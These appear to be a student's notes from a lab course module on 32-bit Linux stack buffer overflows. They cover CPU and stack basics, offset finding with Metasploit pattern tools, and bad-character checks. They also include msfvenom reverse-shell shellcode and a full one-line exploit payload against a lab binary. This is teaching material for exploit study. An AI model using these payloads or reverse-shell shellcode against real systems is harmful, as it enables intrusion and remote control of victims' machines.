- Introduction
- Fundamentals
- Exploit
- Proof-Of-Concept
- Skills Assessment
- Cheat Sheet
- Check filetype
- Open the file
- Set syntax to Intel
- Disassemble file
- Determine offset with MSFvenom
- Run file
- Check EIP memory adress
- Find gdb offset with MSFvenom
- Determine that you have found the offset
- Determine length of shellcode
- Check bad characters
- Send CHARS
- Make shellcode
- Run shellcode
- Find return adress
- Final exploit
- Less common nowadays due to memory protections in modern compilers
- C and other languages are still prevalent in embedded systems and IoT
- CVE-2021-3156: Recent heap-based buffer overflow in sudo
- Web applications can also experience buffer overflows, such as CVE-2017-12542 with HP iLO devices
- Incorrect program code can manipulate CPU processing, causing crashes, data corruption, or harm to data structures
- Attackers can execute commands with vulnerable process privileges by overwriting return addresses with arbitrary data
- Root access is a popular target, but buffer overflows leading to standard user privileges can still be dangerous
- Von-Neumann architecture contributes to buffer overflow vulnerabilities
- C and C++ languages do not automatically monitor memory buffer limits, leading to increased vulnerability
- Java is less likely to experience buffer overflow conditions due to its garbage collection memory management technique.
Buffer overflows are caused by incorrect program code that cannot process large amounts of data, which overwrites registers and can execute code.
If data is written to the reserved memory buffer or stack that is not limited. To tackle this, we should write programs who have limits in their buffer
Exploit development is used in the phase of Exploitation Phase. This is after the version has been deemed exploitable.
Developing our own exploits
- Very complex
- Requires a deep understand of CPU operations
- Software's functions that serve as our target
To write exploits we use Python.
Code or programs that are exploits are a proof-of-concept (POC)
Types of exploits
- 0-day
- Newly identified vulnerability
- Not public
- Developer can not know this
- Will persist with new updates
- N-day
- Local
- Executed when opening a file
- Macro (.docx)
- Executed when opening a file
- Remote
- Get payload running on system
- Executed over network
- DoS
- WebApp
- Local
CPU use the Von-Neumann architecture
Four functional units
- Memory
- Control Unit
- Arithmetical Logical Unit
- Input/Output Unit
The most important one is the Arithmetical Logical Unit (ALU) and the Control Unit (CU), are combined to the Central Processing Unit (CPU)!
ALU + CU = CPU
They are responsiple for executing
- Instructions
- Flow control
Commands and data are fetched from memory
Bus system
- Connection between
- Processor
- Memory
- Input/output unit
All data are transeffered via the bus system
Von-Neumann Architecture
- Primary Memory
- Cache
- Buffer
- Always fed with data and code
- Random Access Memory (RAM)
- Describes memory type
- Memory adresses
- Cache
- Secondary Memory
- External storage
- HDD/SSD
- Flash Drives
- CD/DVD-ROMs
- Not directly accessed by the CPU
- Uses the I/O interface
- Higher storage capacity
- External storage
Control Unit
- Reading data from the RAM
- Saving data in RAM
- Provide, decode and execute an instruction
- Processing the inputs from peripheral devices
- Processing of outputs to peripheral devices
- Interrupt control
- Monitoring of the entire system
The CU
contains the Instruction Register
(IR
)
Often called the Microprocessor
CPU architectures
x86
/i386
- (AMD & Intel)x86-64
/amd64
- (Microsoft & Sun)ARM
- (Acorn)
Reduced Instruction Set Computer
Simplify the complexity of the instuction set for assembly
RISC are in most phones
Fixed length
- 32-bit
- 64-bit
Complex Instrucion Set Computer
CISC does not require 32-bit or 64-bit. It can do it in 8-bit
Taken from the Academy:
Instruction | Description |
---|---|
1. FETCH |
The next machine instruction address is read from the Instruction Address Register (IAR ). It is then loaded from the Cache or RAM into the Instruction Register (IR ). |
2. DECODE |
The instruction decoder converts the instructions and starts the necessary circuits to execute the instruction. |
3. FETCH OPERANDS |
If further data have to be loaded for execution, these are loaded from the cache or RAM into the working registers. |
4. EXECUTE |
The instruction is executed. This can be, for example, operations in the ALU , a jump in the program, the writing back of results into the working registers, or the control of peripheral devices. Depending on the result of some instructions, the status register is set, which can be evaluated by subsequent instructions. |
5. UPDATE INSTRUCTION POINTER |
If no jump instruction has been executed in the EXECUTE phase, the IAR is now increased by the length of the instruction so that it points to the next machine instruction. |
Binary files
- Protable Executable Format (PE)
- Used on Microsoft
- Executable and Linking Format (ELF)
- Used on UNIX
.text
- assembler instructions
.data
- global and static variables
.bss
- allocated variables represented exclusively by 0 bits
Heap
- starts at the end of .bss and grows on the higher memory adresses
The Stack
- Last-In-First-Out
- Defined in RAM
- Accessed via a stack pointer
student@nix-bow:~$ sudo su
root@nix-bow:/home/student# echo 0 > /proc/sys/kernel/randomize_va_space
root@nix-bow:/home/student# cat /proc/sys/kernel/randomize_va_space
0
student@nix-bow:~$ gcc bow.c -o bow32 -fno-stack-protector -z execstack -m32
student@nix-bow:~$ file bow32 | tr "," "\n"
bow: ELF 32-bit LSB shared object
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 3.2.0
BuildID[sha1]=93dda6b77131deecaadf9d207fdd2e70f47e1071
not stripped
Dissasemble main
gdb -q *filename
(gdb) disassemble main
(gdb) disassemble main
Dump of assembler code for function main:
0x00000582 <+0>: lea 0x4(%esp),%ecx
0x00000586 <+4>: and $0xfffffff0,%esp
0x00000589 <+7>: pushl -0x4(%ecx)
0x0000058c <+10>: push %ebp
0x0000058d <+11>: mov %esp,%ebp
0x0000058f <+13>: push %ebx
0x00000590 <+14>: push %ecx
0x00000591 <+15>: call 0x450 <__x86.get_pc_thunk.bx>
0x00000596 <+20>: add $0x1a3e,%ebx
0x0000059c <+26>: mov %ecx,%eax
0x0000059e <+28>: mov 0x4(%eax),%eax
0x000005a1 <+31>: add $0x4,%eax
0x000005a4 <+34>: mov (%eax),%eax
0x000005a6 <+36>: sub $0xc,%esp
0x000005a9 <+39>: push %eax
0x000005aa <+40>: call 0x54d <bowfunc>
0x000005af <+45>: add $0x10,%esp
0x000005b2 <+48>: sub $0xc,%esp
0x000005b5 <+51>: lea -0x1974(%ebx),%eax
0x000005bb <+57>: push %eax
0x000005bc <+58>: call 0x3e0 <puts@plt>
0x000005c1 <+63>: add $0x10,%esp
0x000005c4 <+66>: mov $0x1,%eax
0x000005c9 <+71>: lea -0x8(%ebp),%esp
0x000005cc <+74>: pop %ecx
0x000005cd <+75>: pop %ebx
0x000005ce <+76>: pop %ebp
0x000005cf <+77>: lea -0x4(%ecx),%esp
0x000005d2 <+80>: ret
End of assembler dump.
First column
- **Hexidecimals **that represent the memory adresses
Memory Address | Address Jumps | Assembler Instruction | Operation Suffixes |
---|---|---|---|
0x00000582 | <+0>: | lea | 0x4(%esp),%ecx |
0x00000586 | <+4>: | and | $0xfffffff0,%esp |
... | ... | ... | ... |
gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x00000582 <+0>: lea ecx,[esp+0x4]
0x00000586 <+4>: and esp,0xfffffff0
0x00000589 <+7>: push DWORD PTR [ecx-0x4]
0x0000058c <+10>: push ebp
0x0000058d <+11>: mov ebp,esp
0x0000058f <+13>: push ebx
0x00000590 <+14>: push ecx
0x00000591 <+15>: call 0x450 <__x86.get_pc_thunk.bx>
0x00000596 <+20>: add ebx,0x1a3e
0x0000059c <+26>: mov eax,ecx
0x0000059e <+28>: mov eax,DWORD PTR [eax+0x4]
student@nix-bow:~$ echo 'set disassembly-flavor intel' > ~/.gdbinit
Attack chain
Check filetype
file bow32 | tr "," "\n
Open up file in gdb
gdn -q bow
Set the syntax to intel
(gdb) set disassembly-flavor intel
Check out bowfunc
(gdb) disassemble main
Screenshot:
Then it is just to read out the hexidecimal from the memory adress!
Registers offer a small amount of storage space where data can be stored temporarily.
Types of registers
-
General registers
-
Data registers
-
Pointer registers
-
Index registers
-
-
Control registers
-
Segment registers
32-bit Register | 64-bit Register | Description |
---|---|---|
EAX |
RAX |
Accumulator is used in input/output and for arithmetic operations |
EBX |
RBX |
Base is used in indexed addressing |
ECX |
RCX |
Counter is used to rotate instructions and count loops |
EDX |
RDX |
Data is used for I/O and in arithmetic operations for multiply and divide operations involving large values |
32-bit Register | 64-bit Register | Description |
---|---|---|
EIP |
RIP |
Instruction Pointer stores the offset address of the next instruction to be executed |
ESP |
RSP |
Stack Pointer points to the top of the stack |
EBP |
RBP |
Base Pointer is also known as Stack Base Pointer or Frame Pointer thats points to the base of the stack |
- The stack starts with a high address and grows down to low memory addresses.
- The Base Pointer points to the beginning (base) of the stack and the Stack Pointer points to the top of the stack.
- The stack is divided into regions called Stack Frames that allocate memory for functions as they are called.
- A stack frame defines a frame of data with the beginning (EBP) and the end (ESP).
- The stack memory is built on a Last-In-First-Out (LIFO) data structure.
(gdb) disas bowfunc
Dump of assembler code for function bowfunc:
0x0000054d <+0>: push ebp # <---- 1. Stores previous EBP
0x0000054e <+1>: mov ebp,esp # <---- 2. Creates new Stack Frame
0x00000550 <+3>: push ebx
0x00000551 <+4>: sub esp,0x404 # <---- 3. Moves ESP to the top
<...SNIP...>
0x00000580 <+51>: leave
0x00000581 <+52>: ret : ret
This is called the Prologue. Moving the ESP on the top for operations.
(gdb) disas bowfunc
Dump of assembler code for function bowfunc:
0x0000054d <+0>: push ebp
0x0000054e <+1>: mov ebp,esp
0x00000550 <+3>: push ebx
0x00000551 <+4>: sub esp,0x404
<...SNIP...>
0x00000580 <+51>: leave # <----------------------
0x00000581 <+52>: ret # <--- Leave stack frame
In the epilogue, the current EBP replaces ESP, and it goes back to its original value from the start of the function. The epilogue is short and can be done in different ways, but our example does it with only two instructions.
Register 32-bit | Register 64-bit | Description |
---|---|---|
ESI |
RSI |
Source Index is used as a pointer from a source for string operations |
EDI |
RDI |
Destination is used as a pointer to a destination for string operations |
During load and save operations in registers and memories, the bytes are read in a different order. This byte order is called endianness
. Endianness is distinguished between the little-endian
format and the big-endian
format.
Big-endian
and litt~~le-endian
are about the order of valence. I~~n big-endian
, the digits with the highest valence are initially. In little-endian
, the digits with the lowest valence are at the beginning. Mainframe processors use the big-endian
format, some RISC architectures, minicomputers, and in TCP/IP networks, the byte order is also in big-endian
format.
Now, let us look at an example with the following values:
- Address:
0xffff0000
- Word:
\xAA\xBB\xCC\xDD
Memory Address | 0xffff0000 | 0xffff0001 | 0xffff0002 | 0xffff0003 |
---|---|---|---|---|
Big-Endian | AA | BB | CC | DD |
Little-Endian | DD | CC | BB | AA |
This is very important for us to enter our code in the right order later when we have to tell the CPU to which address it should point.
We need to get the instruction pointer (EIP) under control, so we can tell it to which adress it should jump to!
This will make it point to the adress where our shellcode starts and the CPU executes it.
student@nix-bow:~$ gdb -q bow32
(gdb) run $(python -c "print '\x55' * 1200")
Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1200")
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
Here we insert 1200 "U"s with running python code into our program. And we have indeed overwritten the EIP.
Make shellcode with msfvenom
DanielBoye@htb[/htb]$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Now we can see that our payload is 68 bytes.
Leverage some no operation instructions (NOPS)
. This is so our shellcode will be executed at the right place. It is just to push it further away.
Shellcode - Length
Buffer = "\x55" * (1040 - 100 - 150 - 4) = 786
NOPs = "\x90" * 100
Shellcode = "\x44" * 150
EIP = "\x66" * 4'
How the buffer will look:
Command:
run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')`
In gdb:
(gdb) run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')
The program being debugged has been started already.Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')
Program received signal SIGSEGV, Segmentation fault.0x66666666 in ?? ()
Bad characters:
\x00
- Null Byte\x0A
- Line Feed\x0D
- Carriage Return\xFF
- Form Feed
To find it we can use this character list: CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
And with using this we can try and find bad characters with running the previous command, just with the wordlist as our payload.
To break a function we use break *function
(gdb) break bowfunc
Breakpoint 1 at 0x56555551
(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
/bin/bash: warning: command substitution: ignored null byte in inputBreakpoint 1, 0x56555551 in bowfunc ()
To look at the stack:
(gdb) x/2000xb $esp+500
0xffffd28a: 0xbb 0x69 0x36 0x38 0x36 0x00 0x00 0x00
0xffffd292: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd29a: 0x00 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0x73
0xffffd2a2: 0x74 0x75 0x64 0x65 0x6e 0x74 0x2f 0x62
0xffffd2aa: 0x6f 0x77 0x2f 0x62 0x6f 0x77 0x33 0x32
0xffffd2b2: 0x00 0x55 0x55 0x55 0x55 0x55 0x55 0x55
# |---> "\x55"s begin
0xffffd2ba: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xffffd2c2: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
<SNIP>
We will look where the 0x55 ends.
0xffffd5aa: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xffffd5b2: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xffffd5ba: 0x55 0x55 0x55 0x55 0x55 0x01 0x02 0x03
# |---> CHARS begin
0xffffd5c2: 0x04 0x05 0x06 0x07 0x08 0x00 0x0b 0x0c
0xffffd5ca: 0x0d 0x0e 0x0f 0x10 0x11 0x12 0x13 0x14
0xffffd5d2: 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c
Every null byte (\x00)
shows us that this character is a bad character.
Q: Find all bad characters that change or interrupt our sent bytes' order and submit them as the answer (e.g., format: \x00\x11).
\x00\x09\x0A\x20
When generating shell code, pay attention to these ares
Architecture
Platform
Bad Characters
DanielBoye@htb[/htb]$ msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>
DanielBoye@htb[/htb]$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
Found 11 compatible encodersAttempting to encode payload with 1 iterations of x86/shikata_ga_naix86/shikata_ga_nai succeeded with size 95 (iteration=0)x86/shikata_ga_nai chosen with final size 95Payload size: 95 bytesFinal size of c file: 425 bytesSaved as: shellcode
DanielBoye@htb[/htb]$ cat shellcode
unsigned char buf[] = "\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1""\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41""\xb0\x86\xb2\xfe\x5d\x2a\xbc\xe0\x12\x4c\x73\x62\xc1\xc9\x3b"<SNIP>
(gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66" * 4')
The program being debugged has been started already.Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66" * 4')
Breakpoint 1, 0x56555551 in bowfunc ()
(gdb) x/2000xb $esp+550
<SNIP>0xffffd64c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd654: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd65c: 0x90 0x90 0xda 0xca 0xba 0xe4 0x11 0xd4
# |----> Shellcode begins
<SNIP>
(gdb) x/2000xb $esp+1400
<SNIP>0xffffd5ec: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x550xffffd5f4: 0x55 0x55 0x55 0x55 0x55 0x55 0x90 0x90
# End of "\x55"s ---->| |---> NOPS
0xffffd5fc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd604: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd60c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd614: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd61c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd624: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd62c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd634: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd63c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd644: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd64c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd654: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xffffd65c: 0x90 0x90 0xda 0xca 0xba 0xe4 0x11 0xd4
# |---> Shellcode
<SNIP>
This picture illustrates where the adress 0xffffd64c
is.
After selecting a memory address, we replace our "\x66
" which overwrites the EIP to tell it to jump to the 0xffffd64c
address. Note that the input of the address is entered backward.
(gdb) run $(python -c 'print "\x55" * (1040 - 100 - 95 - 4) + "\x90" * 100 + "\xda\xca\xba...<SNIP>...\x5a\x22\xa2" + "\x4c\xd6\xff\xff"')
When working with exploits, public ones might not work in your case. That is why we should learn how to edit and write exploits so we can fine tune them to our own usecase.
Security mechanism preventing this
Canaries
- Known values written to the stack between buffer and control data, to detect buffer overflows
Address Space Layout Randomization
(ASLR
)- Difficult to find target adresses in memory
Data Execution Prevention
(DEP
)- Monitors that the program access memory areas cleanly
First we need to take control of the EIP
.
To find this, we need to find the memory adress of where our characters end and where the payload starts.
Attack chain:
gdb -q leave_msg
(gdb) disas main
break leavemsg
run $(python -c 'print "\x55" * (2060 - 124 - 95 - 4) + "\x90" * 124 + "\xd9\xeb\xd9\x74\x24\xf4\x5d\x29\xc9\xb8\xfc\x4b\xe3\x50\xb1\x12\x31\x45\x17\x03\x45\x17\x83\x39\x4f\x01\xa5\xf0\x8b\x32\xa5\xa1\x68\xee\x40\x47\xe6\xf1\x25\x21\x35\x71\xd6\xf4\x75\x4d\x14\x86\x3f\xcb\x5f\xee\xc0\x2b\xa0\xef\x56\x2e\xa0\xfe\xfa\xa7\x41\xb0\x65\xe8\xd0\xe3\xda\x0b\x5a\xe2\xd0\x8c\x0e\x8c\x84\xa3\xdd\x24\x31\x93\x0e\xd6\xa8\x62\xb3\x44\x78\xfc\xd5\xd8\x75\x33\x95" + "\x8A\xD6\xFF\xFF"')
x/2000xb $esp+750
End memory adress is 0xffffd68a
Convert it to little endian
0xffffd68a
-> \x8A\xD6\xFF\xFF
Now our final payload will be
./leave_msg $(python -c 'print "\x55" * (2060 - 124 - 95 - 4) + "\x90" * 124 + "\xd9\xeb\xd9\x74\x24\xf4\x5d\x29\xc9\xb8\xfc\x4b\xe3\x50\xb1\x12\x31\x45\x17\x03\x45\x17\x83\x39\x4f\x01\xa5\xf0\x8b\x32\xa5\xa1\x68\xee\x40\x47\xe6\xf1\x25\x21\x35\x71\xd6\xf4\x75\x4d\x14\x86\x3f\xcb\x5f\xee\xc0\x2b\xa0\xef\x56\x2e\xa0\xfe\xfa\xa7\x41\xb0\x65\xe8\xd0\xe3\xda\x0b\x5a\xe2\xd0\x8c\x0e\x8c\x84\xa3\xdd\x24\x31\x93\x0e\xd6\xa8\x62\xb3\x44\x78\xfc\xd5\xd8\x75\x33\x95" + "\x8A\xD6\xFF\xFF"')
We run the program outside gdb
gdb -q leave_msg
./leave_msg $(python -c 'print "\x55" * (2060 - 124 - 95 - 4) + "\x90" * 124 + "\xd9\xeb\xd9\x74\x24\xf4\x5d\x29\xc9\xb8\xfc\x4b\xe3\x50\xb1\x12\x31\x45\x17\x03\x45\x17\x83\x39\x4f\x01\xa5\xf0\x8b\x32\xa5\xa1\x68\xee\x40\x47\xe6\xf1\x25\x21\x35\x71\xd6\xf4\x75\x4d\x14\x86\x3f\xcb\x5f\xee\xc0\x2b\xa0\xef\x56\x2e\xa0\xfe\xfa\xa7\x41\xb0\x65\xe8\xd0\xe3\xda\x0b\x5a\xe2\xd0\x8c\x0e\x8c\x84\xa3\xdd\x24\x31\x93\x0e\xd6\xa8\x62\xb3\x44\x78\xfc\xd5\xd8\x75\x33\x95" + "\x8A\xD6\xFF\xFF"')
Objdump
objdump -f leave_msg
File
file leave_msg
or
file leave_msg | tr "," "\n"
gdb -q leave_msg
(gdb) set disassembly-flavor intel
(gdb) disassemble main
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt
then cat
the output
cat pattern.txt
(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")
(gdb) info registers eip
eip 0x69423569 0x69423569
EIP displays different memory adress
Use this adress to find the offset
Use the offset that you found
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
[*] Exact match at offset 1036
The offset is 1036 in this case
(gdb) run $(python -c "print '\x55' * 1036 + '\x66' * 4")
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
<SNIP>
68 bytes
Buffer = "\x55" * (1040 - 100 - 150 - 4) = 786
NOPs = "\x90" * 100
Shellcode = "\x44" * 150
EIP = "\x66" * 4'
(gdb) run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')(gdb) run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')
CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Buffer = "\x55" * (1040 - 256 - 4) = 780
CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
EIP = "\x66" * 4
(gdb) disas main
output
(gdb) disas main
Dump of assembler code for function main:
0x56555582 <+0>: lea ecx,[esp+0x4]
0x56555586 <+4>: and esp,0xfffffff0
0x56555589 <+7>: push DWORD PTR [ecx-0x4]
0x5655558c <+10>: push ebp
0x5655558d <+11>: mov ebp,esp
0x5655558f <+13>: push ebx
0x56555590 <+14>: push ecx
0x56555591 <+15>: call 0x56555450 <__x86.get_pc_thunk.bx>
0x56555596 <+20>: add ebx,0x1a3e
0x5655559c <+26>: mov eax,ecx
0x5655559e <+28>: mov eax,DWORD PTR [eax+0x4]
0x565555a1 <+31>: add eax,0x4
0x565555a4 <+34>: mov eax,DWORD PTR [eax]
0x565555a6 <+36>: sub esp,0xc
0x565555a9 <+39>: push eax
0x565555aa <+40>: call 0x5655554d <bowfunc> # <---- bowfunc Function
0x565555af <+45>: add esp,0x10
0x565555b2 <+48>: sub esp,0xc
0x565555b5 <+51>: lea eax,[ebx-0x1974]
0x565555bb <+57>: push eax
0x565555bc <+58>: call 0x565553e0 <puts@plt>
0x565555c1 <+63>: add esp,0x10
0x565555c4 <+66>: mov eax,0x1
0x565555c9 <+71>: lea esp,[ebp-0x8]
0x565555cc <+74>: pop ecx
0x565555cd <+75>: pop ebx
0x565555ce <+76>: pop ebp
0x565555cf <+77>: lea esp,[ecx-0x4]
0x565555d2 <+80>: ret
End of assembler dump.
(gdb) break bowfunc
(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
output
Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
/bin/bash: warning: command substitution: ignored null byte in input
Breakpoint 1, 0x56555551 in bowfunc ()
(gdb) x/2000xb $esp+500
And then find where the x55
ends and check for every null byte x00
msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
output
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
Saved as: shellcode
cat shellcode
output
unsigned char buf[] =
"\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41"
"\xb0\x86\xb2\xfe\x5d\x2a\xbc\xe0\x12\x4c\x73\x62\xc1\xc9\x3b"
<SNIP>
Buffer = "\x55" * (1040 - 124 - 95 - 4) = 817
NOPs = "\x90" * 124
Shellcode = "\xda\xca\xba\xe4\x11...<SNIP>...\x5a\x22\xa2"
EIP = "\x66" * 4'
(gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66" * 4')
output
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66" * 4')
Breakpoint 1, 0x56555551 in bowfunc ()
(gdb) x/2000xb $esp+550
output
<SNIP>
0xffffd64c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd654: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd65c: 0x90 0x90 0xda 0xca 0xba 0xe4 0x11 0xd4
# |----> Shellcode begins
<SNIP>
needs breakpoint!!
(gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66" * 4')
x/2000xb $esp+750
End memory adress is 0xffffd68a
[link](Online Hex Converter - Bytes, Ints, Floats, Significance, Endians - SCADACore)
0xffffd68a
-> \x8A\xD6\xFF\xFF
old:
